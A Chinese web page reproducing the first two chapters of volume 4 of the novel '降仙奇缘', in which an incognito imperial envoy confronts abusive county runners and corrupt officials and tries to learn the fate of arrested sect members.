未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

《降仙奇缘》4-6集(全10本)作者:李郎憔悴【河图实体】

《降仙奇缘》
   作者:李郎憔悴
   出版:河图文化有限公司


降仙奇缘 第04集


  第一章 ◆ 怒打衙役

  朱传宗一行人到了山阳县,水灵儿一路上暗中联络上了太上老君教的教众,请他们帮助查案。一到山阳县,水灵儿便去找他们打探结果,可是一无所获。原来山阳县知县王伸查获李东昌嫖妓的案子,是经过宁治省布政使胡铁认可的,如今案子出了纰漏,皇上亲自派钦差下来,事情牵连到了胡铁身上。胡铁从京里探到消息,知道朱传宗不好收买,是个极难缠的人物。便责令王伸把事情做圆满,把所有的纰漏都堵住,务必要把案子做成铁案,让钦差来了也一无所获。

  王伸在布政使大人的督察下,自然是竭尽全力,事情关乎到身家性命,欺君之罪可不是闹着玩的,因此把事情做的是滴水不漏,太上老君教中人眼看着他把所有证据都堵住了,却一愁莫展。

  水菊儿把结果告诉了朱传宗,虽然后来说他们教徒似乎找到了办法帮忙破案,可是看起来只是安慰的言辞而已。

  朱传宗眼见事情和所想的一致,老百姓都害怕当地这些土老爷,不敢出来做证,再说他们都得到了救济,可不敢冒险做丢掉性命的事情,案子看来是很难破了,而太上老君教也似乎无能为力,不由歎道:「我现在微服私访,不能进牢里见李东昌了解案情,可要从老百姓那里寻找证据,暂时也没有希望。但如果以钦差的名义,我的一举一动都在他们眼皮底下,更是不好查案了。两难之间,这如何是好呢?看来得想个好办法了,最好有个万全之策。」

  水越儿道:「你别担心一他们在想办法,一定能让李东昌大人沈冤得雪,让那些贪官绳之以法。他们本事都很大的一你不相信我吗?」

  朱传宗见她有些着急,道:「我相信就是了,你不用着急。」心想:『说来容易,那些贪官可也不是吃素的,她这是安慰我呢!待我想想怎幺寻找突破口吧!别一离开吴先生,我就什幺事都办不了。』可想了一会儿没有所得,烦闷之间,忽然想起在报纸上看到的王氏老太太为了捡来的一个女婴,倾尽家财来为她治病的事情,心中更是气闷,便和水灵儿说了这事。

  水灵儿道:「这有什幺奇怪的。你认为世上没有这样的好人吗?其实我就看到许多这样的人。我们教很多人重义轻生,和这个老婆婆一样伟大!」

  朱传宗怔道:「我们的人生哲学不同,如果以牺牲自己的家庭为代价,那幺和从井救人有什幺不同?一命救一命,有什幺好?」

  水灵儿凛然道:「这才是生命的意义啊!朱大哥,你肯不惜前程来查案,不也是为了正义和公理吗?你觉得牺牲自己帮助别人的人很傻,其实你自己也是这样的人啊!」

  朱传宗被夸地有些羞愧,道:「我才没你说的那样好。」心想:『水姑娘心地善良,所以觉得这事很好。也对,世上有她这样单纯的好姑娘,才能让世界变得美好。』眼望着水灵儿,见她美貌如花,越看越爱。

  二人聊了一会儿,水灵儿见夸了朱传宗几句,他神色变得亲密起来,眼神也带着爱意,一副魂不守舍的样子,心说不好,便笑道:「正经事还没有做,我得走了,你就等好消息吧!我断不会劳烦你白走这一遭的。」

  朱传宗见她要走,笑道:「你可要小心。有什幺消息尽早通知我,别蛮干,省得救人不成反被抓了,那我可有得忙了。」

  水灵儿笑道:「瞧你说得,难道我们教中人都是窝囊废吗?你救了我一次就得意成这样,日后看我救你一次还报给你,那时就两不相欠了。」

  朱传宗笑道:「宁可你不还我这个人情,让我吃亏好了。」

  水灵儿道:「人人都这幺想呢!可是世事难料。谁知道老天爷会怎幺安排人的命运呢!」二人谈笑之间挥手做别。

  朱传宗知道她是去和她们太上老君教的人一起去找线索去了,不让太上老君教的人见他是为了防他,还是为他好,省得牵连他,这就不知道了。不过总之和他们少见面也好,毕竟还不是时候。

  朱传宗想了一会儿,暂时没有什幺好主意,便还去茶馆喝茶听故事。

  天气晴朗,街上行人很多。在街口,朱传宗遇见一个少妇和一个婢女带着一个打扮的漂漂亮亮小女孩在闲逛。

  那孩子大约有四、五岁,嘴里吃着糖葫芦,长得粉雕玉琢,很是可爱。朱传宗见了她的模样,也心生爱念,不由微笑看着她的小脸。

  这个时候,一个步履蹒跚,衣衫褴播的老太太走到附近的垃圾堆里捡破烂,就见她刨啊刨,突然刨出一个黑乎乎的髒馊头,老太太可能是饿坏了,立刻用非常快的速度抓起那个髒馒头就狼吞虎嚥起来,那个小女孩眼尖,叫道:「奶奶别吃,髒!」

  朱传宗一怔,这时那少妇拉住小女孩,让婢女给了那老婆婆几文钱,然后抱着小女孩走了。远远还听见那小女孩稚嫩的声音在问她妈妈:「老奶奶为什幺要吃髒东西呀?」

  看了这一幕,一瞬间,朱传宗忽然觉得双眼有些模糊,胸口有些发闷,眼睁睁的看着这样的一幕发生在明媚的阳光下,有人在享受着阳光,可是有人却在没有尊严的生活,真是让人难过。

  随同朱传宗的王大牛、赵老四等人见朱传宗发呆,跟了他这幺久,都明白他的心意,张老五想哄他开心,便笑道:「少爷,您别觉得老太太可怜。她在城里还能捡到东西吃呢!要是在乡下这样无儿无女的老太太,连捡东西吃都捡不到呢!岂不是更可怜?她不算可怜,您就别多想了。」

  钱老六道:「屁话,难道我们乡下有这样的老人,大伙儿不会帮着让她吃一口饭吗?」

  张老五道:「自己都养不活,哪有多余的粮食?」

  赵老四见二人还要吵,忙道:「好啦!你们别吵,在少爷面前一点规矩也没有。」然后陪笑道:「少爷,您心地好,可怜这些人,不过张老五说的没错,这样的老太太不算太可怜。」

  朱传宗歎道:「你们不必开解我,我什幺事没见过?不过见了这些穷苦人,还是心底里可怜他们。你们去给她点银子吧!」然后转身去了。

  赵老四几人凑了点银子送了过去,然后远远跟在朱传宗后面,看朱传宗进茶馆,他们在外面等着,省得进茶馆的陌生人多,茶馆里的人拘束。

  朱传宗来到茶馆门前,正要进去,忽听有人喊道:「衙役来了!」前面不远处一个大约五、六岁的孩子一颠一颠地跑向一个卖水果的夫妇,用稚气的江淮省口音大喊。那对资水果的夫妇马上起身,把苹果往车上搬。

  不过来不及了,两个衙役已经跑了过来,夫妇两人更是惊慌,水果掉出了几个,吓得他们也不敢去捡。

  正慌乱之际,「狗衙役……」那小孩突然指着衙役大骂了一句。卖水果的夫妇被儿子的行为惊呆了,不过只呆了片刻,那妇女便抄起一根木棍狠狠打在最疼爱的儿子身上,一边打一边骂:「叫你不懂事,竟然敢骂官爷!」

  孩子疼的眼泪都流出来了,但是却撅着小嘴道:「可是王叔叔和你们都这样骂的……」那妇女更是惊恐,打的更狠了,道:「你快给我闭嘴,还乱说……」

  那男的更是吓得哆嗦,道:「官爷,小孩子不懂事,你们千万别见怪……」

  一个衙役一脚把他踢倒,骂道:「孩子不懂事,你们还不懂事?敢对抗朝廷,辱骂朝廷命官,真是不想活了!」一顿拳脚上去。大梁国只有知县以上才算是官,也不知道他们是什幺朝廷命官。

  那妇人见了,连忙扑倒在他脚下,哭道:「官爷饶命,大人不记小人过,我们知道错了,我们愿意受罚,要多少银子都行,千万别打孩子他爹……」

  二个衙役听了,大笑道:「算你们识相。你们当街随便摆摊,影响县容,人人都像你们这样不守法,那县里还不得全乱套啊?辱骂我们的事情,我们也不追究了,就罚你们二两银子得了,多了你们这样的穷鬼料也拿不出来。」

  那男子从地上爬起来,还欲再说,被那妇人拦住,二人忍气吞声,把身上所有的钱都翻了出来,一钱一钱凑了银子,最后还差几文钱不到二两银子,递了过去,两个衙役骂道:「真是穷鬼。」又踢了一脚水果摊子,拿了几个苹果,边吃边扬长去了。

  两个衙役走后,夫妇二人抱头痛哭,道:「我们辛苦一年都赚不来这幺多的银子,就这样没了!老天真是不长眼啊!」那个小孩子被眼前的一切吓呆了,也是啼哭不止。

  朱传宗把这一切都看在眼里,心里觉得不是滋味,想要帮忙,可是似乎这样的可怜人太多了,要帮的话哪里能帮的过来?帮就要解决他们的根本问题,此县问题太多了,一定要好好整治,他心里下了决心,皱眉走进茶楼,要了一壶好茶,便在那里喝了起来。

  旁边一群人谈的正热闹,朱传宗无聊之极,找了插话的机会和他们聊了起来,又要了一些点心茶水请他们吃喝,那些人对他更是客气起来。

  一人道:「听口音,小兄弟不是本地人吧?来我们县也不多久吧?」

  朱传宗道:「我做些小本生意,来这里才几日呢!不过贵县人人都很热情友好,民风淳朴,我看报纸上你们县有个王氏老太太,真是一个百年难得的好人啊!为了捡来的一个女婴,倾尽家财来养活她,真是让人钦佩。」

  那些人听了哈哈大笑,道:「客倌,你是被骗啦!瞧你年轻,也不知道这些门道。能登载上官报的事情,哪个不是有关係、走门路啊!官报上的事情,十有八九是假的啦!那个王老太太的老公是衙门里的人,孩子倒的确是领养了一个,也很可怜,可是哪里有他们说的那样?他们如此宣传,让全县衙门里的各个部门以及百姓捐钱,他们便收进了自己腰包。可怜不知道内情的老百姓,如客倌这样的人,还都在钦佩他们呢!」

  果然不出所料,朱传宗脸色立刻变了,道:「看来这报纸上的东西是不能信了,我今日又学个一个乖。」

  那些人都笑道:「客倌,你还年轻,不过像你这样在外面跑的商人,用不了几年,就什幺事都清楚啦!」

  朱传宗道:「正是。不过我还有一事不明,刚才外面摆摊卖水果的小贩,为什幺见了衙役便跑啊?难道就为了少上几个税钱吗?」

  一个人道:「客倌,这你还不知道吗?这里是繁华的地方,街道两边的店舖都是交了税的,自然不希望有人在他们的地盘和他们抢生意。那些衙役都收了好处,自然卖力的管了,便以妨碍交通县容等借口处罚那些人,再说能够罚些钱,可以装进腰包,何乐而不为呢?」

  朱传宗道:「既然如此,为什幺还有人在这里摆摊啊?」

  一人道:「客倌是做大生意的,哪里知道小百姓的苦,若不摆摊谋生,还能做什幺养家餬口呢?开店舖,就算有本钱,没有衙门里的亲戚做靠山也是不成。」

  朱传宗连连点头。

  那人道:「我看客倌定是在外面看见衙役在横行霸道了吧?这有什幺稀奇!前些日子还发生了一起暴动呢。起因是三个衙役让来县城的乡下人登记交钱,才发给他们证件,否则赶他们走。乡下人觉得多收了他们的钱,加上他们刚来县城,没有钱,便想少交些,结果便被衙役打了。围观的百姓气不过,便帮着那些乡下人说了几句好话,没想到衙役们很是蛮横,大骂那些人多管闲事,还动手打了几个百姓,结果百姓们被逼无奈,动手打了三个衙役,结果大批衙役出动了,把百姓们毒打一顿。这事官报也报了的。」

  一人笑道:「要说这官报写的才叫精彩呢!说什幺来县城做工农民因为酒后自己摔伤,却诬陷衙役们对其殴打,致使不明真相的百姓参与闹事,暴力抗法,让全县的百姓以此为戒。哈哈,真是笑死人了。」

  朱传宗听得目瞪口呆,其余人哈哈大笑,这时忽然一人道:「应该这样报导才对:衙役狩猎于街道,得小贩一只。」

  众人更是轰笑,朱传宗听了这话,觉得此人出口不凡,便细细打量起这人来,只见他三十多岁年纪,细高的身躯,白面微胡,儒雅之极,不由心生好感,上前道:「先生何名?在下见先生出语不凡,有心讨教,不知道先生肯赐教吗?」

  那人仔细打量了朱传宗一番,道:「请这边说话。」来到一个僻静的地方,才道:「在下陶勉自。我注意公子很久了,公子气宇轩昂,没有一丝铜臭之气,恐怕不是商人这幺简单吧?」

  朱传宗笑道:「你看我胖,就说我气宇轩昂,好会夸奖人啊!你的名字我似乎在哪里听过呢?」皱眉想了一下,拍手笑道:「我得知矣!你是临近的曲衡县的知县。百姓都说你是好官,没想到能有幸遇到您,真是三生有幸啊!」

  陶勉自微笑道:「公子客气了,公子一副贵相,定非凡人,能见到你才是我的荣幸!」

  朱传宗笑道:「你原来有观人之术,果然了不起。说实话我的确不是商人。不过身份嘛!也不便透漏。」心想:『我何必骗他说我不是朱传宗,而是朱同呢!此人这幺有才,以后有大用,不能给他留下不好的印象。』

  陶勉自笑道:「你这幺说,我也得知矣!」心想:『此人到底年轻,被我几句话便套出身份,他口音一听便来自京师,加上气度不似商人,定是朝廷派下来的钦差,这有何难猜的?』

  二人相对大笑,一个有心结交,一个有心巴结,便找了一间雅室,二人高谈阔论。言谈之下,发觉二人观点颇类似,不由无所顾忌,倾心而谈起来,真是其乐融融。

  直到天色渐渐暗了,该是道别的时候了,朱传宗道:「我有些事情还要劳烦呢!可是你我初次相见,有些话还不便相问,也不是时候,等日后我定会找您帮忙,到时您可要帮忙才好。」

  陶勉自忙道:「公子太客气了,你我一见如故,但凡日后有用得着我的地方,我定会鼎力相助,请放心好了。」二人依依不捨,在店外挥手告别。

  朱传宗到了街口,王大牛、赵老四等人跟了上来,王大牛道:「少爷,你和那个男人聊那幺久干什幺?」

  朱传宗无奈地笑道:「胡说八道,难道你家少爷只有和女人才聊的久才正常吗?」

  王大牛忙道:「不是,我哪敢说少爷,我是想说男人和男人有什幺好聊的……」

  朱传宗道:「好了,看你越来越胡说了,你们是担心我的安全吧!等的心焦,我知道了。下次让你们跟随在身边就是了。」几人边说边走,这时见前面不远处一群人在围观,嘈杂声传来,吸引了他们的注意。

  朱传宗道:「去看看又怎幺了。」

  分开人群,朱传宗看见白天那个卖水果的男人被按在地上,双手被几个衙役用绳子绑了,然后推倒在装水果的车上,然后一个胖衙役喊道:「各位乡亲借过,闪开啦!有什幺好看的?都走开。」说着和两个衙役一起推车便走。

  众人闪开,衙役们推车去了,这时人们才议论纷纷起来,一人道:「这个农民可倒大楣了,敢打衙役,这回可要吃苦头了。」

  另一个人道:「吃苦头?说不定性命都丢了。到了治安房,还有王法?就是杀了他,然后随便一埋也没人知道。他家人追问起来,就说他逃跑了,或者畏罪自杀死了,谁还能有什幺办法?」

  有人道:「是啊,是啊,在县里无亲无故的农民,能有什幺能耐。真是惨啊!」一群人摇头歎息。

  朱传宗听得脸色铁青,料来定是这个卖水果的男人白天被罚去那幺多的银子,因此晚上便独自出来摆摊想卖些东西,挣点小钱,但是又遇到衙役要罚钱,所以没忍耐住,和衙役们厮打起来了。

  朱传宗一扭头,对王大牛四人道:「走,去治安房一遭吧!」

  王大牛憨笑道:「少爷真是侠义心肠。」

  赵老四眉头一紧,心想:『坏了,少爷又要打抱不平了,可是正事千万别受影响啊?』

  几人来到治安房,因为门口没有护卫,便直接进去了。一进门,就看见一个年迈的老人,衣衫不整,弓着背,对一个胖衙役道:「差爷,我是来拿上午你们没收的铁锅的。」也不知道一个铁锅如何犯法被没收了。

  那个衙役懒洋洋地道:「是新的旧的?」

  「是半新不旧的。」本来腰就弓,老人又低下头,更显得低声下气。

  衙役道:「那你这个铁锅多少钱买的?」

  老人道:「三百文。」

  衙役道:「三百文那就罚一百吧!」

  「一百?这幺多,能不能少点?」老人哀求道。

  衙役眼珠一瞪,道:「你以为这是在菜场买菜啊!还想还价?」

  老人哀求道:「差爷,商量商量,少罚点不行吗?你看我年纪这幺大……」

  衙役有点急了,道:「我告诉你,三百文的铁锅,罚你一百,你还赚了二百,你知足吧!」

  朱传宗这时再也看不下去,上前怒道:「这是什幺狗屁逻辑,被罚掉一百,还赚了二百。我抢了你二两银子,在你的哀求下,我给了你一两,你就赚了一两了?我抢的钱就是我的,还给你多少那就是你得了便宜。哎呀!我们的官差大老爷们真是伟大啊,让我们老百姓讨了这幺大的便宜。」

  胖衙役听了大怒,站起来道:「哪里来的混小子,敢来治安房管官爷的事,是不是活得不耐烦了?」

  朱传宗热血上涌,这时也忘了要隐藏身份,冷笑道:「这人这幺嚣张,你们还不教训他一下吗?」

  身后的王大牛和张老五立刻上前,迎面就是一顿嘴巴,朱传宗出身高贵,没受过气,这时恼怒起来,还管别的?只是让王大牛二人狠打。胖衙役被打蒙了,求救也不敢喊,只是叫山大王饶命,以为遇到土匪山贼了呢!

  王大牛没听过这个词,奇道:「你怎幺知道老子姓王?」

  朱传宗本来一腔怒火,这时也笑了,吩咐住手,让那老人把铁锅拿走了,对胖衙役道:「刚才你们抓来的那个小贩呢?」

  胖衙役见他们竟然敢在治安房如此跋扈,哪晓得他们的身份,以为是土匪才这幺嚣张,颤抖的道:「大、大爷,听说那个小贩打我们官差……被拉到后面受刑去了。」

  朱传宗怒道:「果然如此,你还不带我们去。」一脚踢中他的屁股。

  胖衙役连滚带爬,急忙带他们去了。

  胖衙役在前带路,一进到后院,便直冲进去叫救命,一群衙役正在毒打那个小贩,听到叫声都惊得停手 头。

  朱传宗看见那小贩身上不见血迹,可是却昏迷不醒,再看他身上垫着几本书,立时明白了怎幺回事,眼睛气得发红,怒喝道:「你们这群禽兽,隔着书打人,好不留伤痕,伤害内脏让人死掉,简直坏透了,你们真是枉生为人。」

  那些衙役听那胖衙役说是来了土匪,再一听朱传宗的骂声,都大怒道:「哪里来的贼人,如此胆大妄为……」纷纷奔过来厮打。

  朱传宗热血上涌,也忘了别的,迎上去就打。他此刻变为胖子,不知怎地,力大无穷,一脚踢飞了一个衙役,然后抓起一个衙役,举了起来,然后奋力甩了出去,那衙役撞在墙上,昏了过去。

  王大牛也是力大无比,在家乡被母亲管教不能打架,此刻有了这等好事,兴奋地大叫,拳打脚踢,把那些酒囊饭袋打的东倒西歪。衙役们欺负百姓还行,真要动手,一个也不顶一个。

  其余三人,除了赵老四不善打架,张老五和钱老六二人干活出身,力气也是不小,对付那些狐假虎威的衙役也是绰绰有余,几个人就这样把那些衙役打的满地乱滚。

  赵老四看见外面衙役越来越多,都拿着兵器,连忙大喊道:「我们是朝廷派下来的钦差,你们想造反吗?不怕杀头?」

  衙役头目听了,想起钦差大闹五穀县的事情,知道这也不是不可能,也不敢造次,喊道:「你们有什幺凭据?」

  赵老四连忙把带在身上的官印拿出来,衙役头目见了官印,连忙带众跪下,道:「钦差大人驾临,得罪之处,请恕罪。」

  此时朱传宗还愤恨地踢着地上的那些衙役,赵老四道:「大人,饶了他们吧!何必和这些小人一般见识。」

  朱传宗这才住手,怒道:「你们这些披着羊皮的禽兽,以后不许再欺负老百姓,今天先饶了你们,你们把这小商贩的伤给我治好,赔他们二十两医药费,等我以后再来教训你们!」说完一摆手走了。

  第二章 ◆ 软玉在怀

  朱传宗大闹完治安房,气沖沖回到所住的客栈,屁股还没等坐热,就见水灵儿惊慌失措,冲了进来,道:「朱大哥,不好了,杨大叔和我们教的一些兄弟被衙门给抓啦!」

  朱传宗见水灵儿焦急万分,脸色通红,鬓髮也有些淩乱,忙道:「发生了什幺事?你慢慢说,先别着急,不要乱了方寸。我今天遇到的事那幺气人,我都没着急。」

  水灵儿顿足垂泪,背过脸去,说的话语无伦次,道:「你能遇到什幺事?你叫我如何不急?听说是省里按察使司派下来的官兵,埋伏多日了,就等他们上钩呢!我们教里出了内奸,这下可完了。」

  朱传宗一头雾水,等水灵儿冷静下来,说出事情的经过,这才知道原委。

  原来山阳县知县王伸把上面派下来的粮食、银子贪汙之后,事情败露,如今要弥补漏洞,但是粮食早就让他给高价转卖到别的地方了,他又不愿意从自家口袋里拿银子出来高价买粮食,索性便从当地的米商和财主那里借粮,等明年丰收了再还粮。名义上是借粮,当然也是许诺了好处的,否则谁肯做亏本买卖?在灾年借给别人粮食?还是以普通价格呢?

  知县大老爷发话,这些人也知道是双方都有好处的事情,等这阵子风头过去了,知县大人一定不会忘记他们,会在别的地方给他们好处。不过这些富商都是人精,怕王伸出了什幺差错,便让王伸盖了官印,打了衙门借粮的借据,就算他出了纰漏,这粮食也不能白白损失。等一切停当,找了一个日子,衙门的人便去提粮。

  这事早被太上老君教的人打探清楚了,他们在教中头目大护法杨尧的率领下,準备在半路劫粮。一来可以把粮食发送给受灾的百姓,二来可以揭穿王伸的真面目,让他无粮可派。如此一来,案子就好破了。而且这样做也没什幺风险,王伸丢了粮,他定不敢上报朝廷说粮食还没有派送到灾民手里却被劫了,让王伸哑巴吃黄连,有泪肚里吞。

  事情本来计划得很好,哪知道太上老君教中出了一个奸细,是省里按察使司派来的人,隐藏了两年,正好把他们要劫粮的事情打听了出来,向上一报告,按察使司出动人马,埋下伏兵,杨尧等一百多人不知有诈,一去劫粮,被全副武装的官兵们给围住了,只跑了几个人,其余的包括护法杨尧,都被一网打尽了。

  水灵儿等人在外接应,听说出了大事,教中的重要人物被抓,县里风声鹤唳,不能久留,便商量一下,派人去搬救兵,留下一两个人打探消息,其余的都四散躲起来了。

  水灵儿讲完经过,满面愁容,歎道:「朱大哥,对不起,我们帮不了你查案了,而且给了他们把柄,全县戒严,有官兵把守,这下你要查案更加的难了。」

  朱传宗见她楚楚可怜,连忙安慰她道:「不要紧,你不必自责,为了帮我连累你们那幺多的兄弟,我才心里不安呢!」

  水越儿幽幽地道:「说什幺也没有用了,只盼望天可怜见,老君保佑,能让杨叔叔他们暂时平安,等待我们找机会搭救他们。」可是她也知道一入牢门,再要搭救,那可是难于上天,不由愁云密布。

  朱传宗见她说话有气无力,显然对能救他们出来也是毫无信心,这个时候正好是显露他的才能的时候,可是案子如此重大,造反之罪,要上报皇上的,就算他亮出钦差的身份,也不能把都他们放了,不由歎道:「要是救几个人还没问题,可要是搭救一百多人,我可真无能为力了!」

  水睡儿听了高兴得跳起来,美目流盼,喜道:「对啊,你有本事救我,说不定也能救他们呢!」

  对朱传宗格外温柔地道:「麻烦你去打听一下消息,救他们出来好吗?我知道这很难,可是哪怕救几个人也好啊!」

  朱传宗见她有求于己,神色变得格外温柔,心里暗喜,面上却忙摆手道:「我刚才是顺嘴胡说呢!你们老君教可是钦定的大逆不道之徒,要是和你们沾上一点关係,那可就是杀头的大罪啊!这事可是难办的很,你就当我没说。」

  水灵儿明眸格外闪亮,宛如黑夜中迷路之人看到了光亮,如何肯捨弃,道:「出君之口,入我之耳,如何能当没听到呢?朱大哥,你好人做到底,就再帮我一次吧!你以前杀贪官眼睛都不眨一下,胆量多大呀,现在怎幺却缩手缩脚起来了?」

  朱传宗道:「杀贪官我是替朝廷办事,最多丢官,掉脑袋,可是帮你却是和朝廷作对,有满门抄斩的危险。而且我还年轻,连个媳妇都没有,要是这幺就死了,那有多可怜啊!」说完盯着水灵儿的俏脸,嘿嘿笑了起来。

  水越儿冰雪聪明,如何不懂他的心思,心想:『这个呆子要是不给他点甜头,他是不肯冒这幺大的风险的。』当下便嗲声嗲气撒娇道:「朱大哥,我也不是让你救他们,我是请你先帮我打听一下消息,看看他们的死伤情况,这可是你能做得到的吧?」说着玉手揽住朱传宗的右臂,身子贴了过来,一股殷郁的香气钻入朱传宗鼻中,朱传宗闭上眼睛,大是受用。

  女人天生便会这样一项本事,朱传宗软玉在怀,顿觉神魂颠倒,笑道:「灵儿,你要是这样去求肯管事的官,担保你们教那些人会被放出来,就不用求我了。」

  水灵儿听了脸红不已,心想你把我比做什幺人了?有些恼怒,但不敢发作,只好嗔怪道:「你把我当作坏女人了!都什幺时候啦!你还开玩笑。你快去打听消息吧!等你回来,我给你做好吃的,好不好?」

  朱传宗道:「好吃的有什幺好,我要你……」本想说你陪我,话说一半,知道水灵儿脾气刚烈,可不敢放肆,一转道:「我要你做完亲自餵我,那样我才去。」

  水灵儿为了让他办事,用小手一推他,道:「是啦!你快去吧!」

  朱传宗大喜,道:「那你可不能耍赖。」

  水灵儿满脸羞红,道:「你快去吧!」

  朱传宗大笑着去了,水灵儿见他和朱家四僕都走远了,这才想起教里那些曾经一起欢声笑语的兄弟们生死未卜,如今身陷囹圄,看来多半是回不来了,不由难过起来。

  朱传宗和四僕来到街上,果然见官兵往来不绝,来到县衙附近的茶馆,远远望去,只见县衙的守卫比平时多了不止十倍。

  这样的情形如何能搞清楚情况?朱传宗对四僕道:「我这就亮出身份,进县衙一探虚实。」

  王大牛道:「那您以后不乔装查案了?」

  赵老四道:「我们在衙门不是已经暴露身份了吗?你没看见远远的有人跟蹤?」

  朱传宗沈吟了一下,心想:『情况还不清楚,贸然进去也不知道说什幺好,这不是好办法,还是找人打听一下情况好了。』忽然想起在茶楼见过的那个县衙守大门的程老头,说不定他能知道一些消息呢!便道:「我们暴露身份也不是什幺坏事,现在县城里戒严了,要是不亮出身份不能随便走动,一样不能微服私访。不过你们先去帮我办一件事,再做他想。」让王大牛和赵老四去把程老头请来,向他打听消息。

  二人装做程老头的亲戚,去找程老头,程老头一头雾水,被请到茶楼里的雅间,程老头道:「你们说是我的亲戚?老头子怎幺不认识啊?」

  朱传宗为了让他释疑,便亮出了公文和官印,说出来了身份,直言相告道:「我是钦差大人派来的先锋。老人家,我知道您嫉恶如仇,是个好人,所以请您为我打听消息,日后我定会奥告钦差大人,再有重谢,这是十两银子,请您收下。」

  程老头又惊又喜,道:「您大闹治安房的事都传遍衙门了,钦差大人果然快来了,我知道大人是查办贪官来了,这是为国为民的好事啊!老头子愿意赴汤蹈火,我一个孤苦伶仃的老头子,要钱有甚幺用啊?再说怎幺能要您的银子呢!」说什幺也不收。

  朱传宗道:「既然如此,那幺日后再说吧!」便把老君教的人劫粮被抓的事说了,请他去探听消息。

  程老头是县衙看大门的,是前几任一个县官的远房亲戚,因为无儿无女,孤苦伶仃一个人,所以那个县官因为某事丢官之后,新来的县官见他一把年纪了,也就没有开除他,任他领一份闲钱了。日子久了,他在县衙混熟了,也就这样待下去了。

  程老头是衙门里的老人了,没人防备他,他留心听人闲聊,略一打听,便知道了事情的大概,便赶回去茶楼告诉朱传宗。

  果然是省里按察使司秘密派人马下来,按察使孙托祖大人亲自率领。这次一共擒拿了八十七人,争斗中杀了十八人,其中还有一个姓杨的首领,可谓战绩卓越。

  程老头讲完,见朱传宗皱紧眉头,以为他在嫉妒按察使孙托祖立了大功,笑道:「按察使大人果然是个福气深厚之人,这幺大的功劳都让他逮到了。啧啧,真是福将。」

  朱传宗听他话里有话,道:「什幺福将?此人我不熟悉,您老知道他的一些事?」

  程老头最喜欢卖弄这些,笑道:「您知道他是怎幺当上官来的吗?他可真是有福气啊!」

  朱传宗点头倾听,程老头便笑着把听来的故事说了。

  这孙托祖是江淮省人,靠花钱捐一杂职,到京师吏部候选了许多年,凭着熬年资才熬出一任宁治省某一个县的县丞实缺。按规定,得到委任之后,要到午门外「望阙谢恩」,但这是太祖皇帝时候的老规矩了,因为没人监督,搞到后来徒存规定,没人去实行。可他这家伙挺认真,得到任命的次日清晨,天还没亮就换上朝服,到了午门,行起了三跪九叩大礼。

  当时正下雨,他在雨中从容叩拜,丝毫也不敢疏忽怠慢。恰巧,安王爷入朝值班,坐肩舆打午门前经过,见了这情景很奇怪,便叫跟班去问问是什幺人,在干什幺?跟班问过后转呈:「新选宁治省某县县丞孙托祖叩谢天恩。」

  安王爷听了,肚里发笑。他是明宗皇帝的爱弟,明宗有兄弟十几个,他是唯一一个得到明宗信任,并委以重权的。他和明宗一起长大,而且安王爷的母亲丽和皇妃对明宗有恩,所以明宗一直待这个弟弟不薄。

  安王爷待入宫进了朝房,恰巧遇见进京陛见的当时宁治省布政使庞来孝,不由想起了刚才那一幕雨中奇景,开口说:「贵属下某县县丞孙某……」才讲到这儿,里面太监叫进了,王爷忙匆匆入内。庞来孝已晋见过皇上了,也就赶着赴任去,只当王爷拜託他多关照这位,便存了个心思。

  没过多久,孙托祖果然来宁治省布政使庞来孝行辕参见了,照老规矩,似这等杂职、未入流辈,只要递一个手本进去,见布政使大人一面是决无可能的。偏偏布政使行辕的门政早就接了主人的叮嘱,一见孙托祖来赶快通报。宁治省布政使传令趋见,见面之后,庞来孝问道:「王爷安好?我出京师时,来不及向他辞行了。」

  孙托祖这会儿只把脑袋多碰几下,再哼两声「是、是。」就算完事了。这以后上任未满一年,庞来孝便特地让他兼了个徵税的差使,发了不少财。

  孙托祖后来有事进省府去参见布政使庞来孝,庞来孝道:「你官职太小,我也无法提升你,再捐两阶吧。」

  孙托祖又是磕头称是,马上再捐个知县候补。知府只当此人是布政使大人的亲信,立刻让他补了实缺。此后,庞来孝因为官运亨通,连连陞官,最后升为右丞相,而孙托祖凡有好官缺都由他佔光,数年间,连捐带保,居然也升到了知府一级。按大梁朝制度,地方官员正七品以上,初次任用前,都得进京引见。

  孙托祖也不例外,进京拜见庞来孝。庞来孝只当他也会去拜见王爷,便让他顺便带上礼物和信件去看王爷了。

  安王爷早就忘记了多年前午门前的那一幕,看见庞来孝来信中极言孙托祖人心地忠厚,才具优长云云,反过来又当他是右丞相的亲信,只是弄不明白孙某何许人也,竟而劳谆谆道及。

  第二天,王爷又入值,恰逢宁治省按察使出缺,皇帝徵求王爷意见,该派谁去?王爷意中一时无人,马上做个顺水人情给庞来孝,就推荐了孙托祖。一个引见候选的知府能马上补缺,也是稀罕事。然而竟然一跃成为一省的高官,更是前所未有。从此王爷当他是右丞相的人,右丞相当他是王爷的人,那可真是朝中有人好做官,左右逢源福气大。

  朱传宗听完这个故事,哭笑不得,等送走程老头,皱眉歎道:「我们大梁国任命官员就这样儿戏吗?」

  王大牛是粗人,挠头不知道怎幺回答,赵老四虽然聪明,但是他入官门日子还浅,也不知道怎幺回答,别人更是土包子,更是不知道怎幺答话了。

  朱传宗歎了一回气,又道:「按察使孙托祖都来了,看来事情不好办啊!这可怎幺办好呢?」低着头苦想对策。

  王大牛四人也跟着着急,可是苦于帮不上忙,在旁边乾瞪眼。

  赵老四人极机灵,平时对一些事情也很留心,也有些见识,道:「少爷,你可要小心啊!老君教的人虽然都是好人,可是他们都是造反的钦犯。你要救他们,被朝廷知道了可不得了啊!听说要诛连九族的。他们要是投降,改邪归正,说不定就好了呢!」朱传宗听了灵光一现,想起刚才孙托祖的故事,随即心里一动,脑里出现了「左右逢源」四字,竟然心里有了主意。

  朱传宗哈哈大笑,道:「我有主意了,你们不用担心,我才不会那幺笨,被治罪呢!」

  当即朱传宗带着四人回到客栈。

  水灵儿急切地道:「这幺快就回来了?可有什幺消息?」

  朱传宗把打听来的事情说了,道:「你们教的兄弟们死了十八人,不过你说的杨大叔没有死,他是匪首,一定会被好好照顾的。可是等押到京师,说不定会被淩迟处死呢!」

  水灵儿眼泪在眼眶打转,道:「这可怎幺办?朱大哥,你有办法救他吗?他可是看着我长大的,待我极好。如果实在不行,就杀了他也行。省得他受罪。」

  泪珠从水灵儿雪白的香腮流下,她窈窕细腰,楚楚可怜,香肩抽动,格外动人,朱传宗心中不由怜惜。

